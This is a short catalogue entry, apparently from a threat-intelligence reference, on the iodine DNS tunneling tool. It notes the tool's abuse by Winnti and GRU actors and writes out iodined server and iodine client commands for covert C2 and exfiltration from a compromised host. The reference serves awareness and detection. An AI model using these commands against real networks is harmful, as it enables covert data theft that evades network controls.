.. /iodine
Star

Access
Exfiltration

iodine is a self-hosted tool that tunnels IPv4 traffic through the DNS protocol, letting a compromised host reach the operator’s server when only DNS queries leave the network. The operator runs the iodined server on an authoritative domain and the compromised host runs the iodine client, which encodes IP traffic inside DNS queries and responses. Because the operator controls the authoritative name server, blocking relies on the binary and DNS-tunneling signal rather than a fixed vendor domain. It is abused for covert C2 and exfiltration, observed with Winnti and Russian military (GRU) actors, among others.

Paths:

Resources:

Detections:

Access

  1. Starts the operator-controlled DNS tunnel server on an authoritative domain, assigning a tunnel subnet and requiring the shared password from clients.

    iodined -f -P <PASSWORD> 10.0.0.1 <TUNNEL_DOMAIN>
    Use case
    Standing up the DNS tunnel endpoint on a domain the operator controls.
    Privileges required
    Administrator
    Operating systems
    Linux, MacOS, BSD, Windows

Exfiltration

  1. Runs the client on a compromised host, tunnelling IPv4 traffic to the iodined server entirely inside DNS queries and responses via the local resolver.

    iodine -f -P <PASSWORD> <TUNNEL_DOMAIN>
    Use case
    Establishing covert C2 or exfiltration out of a network that only permits DNS.
    Privileges required
    Administrator
    Operating systems
    Linux, MacOS, BSD, Windows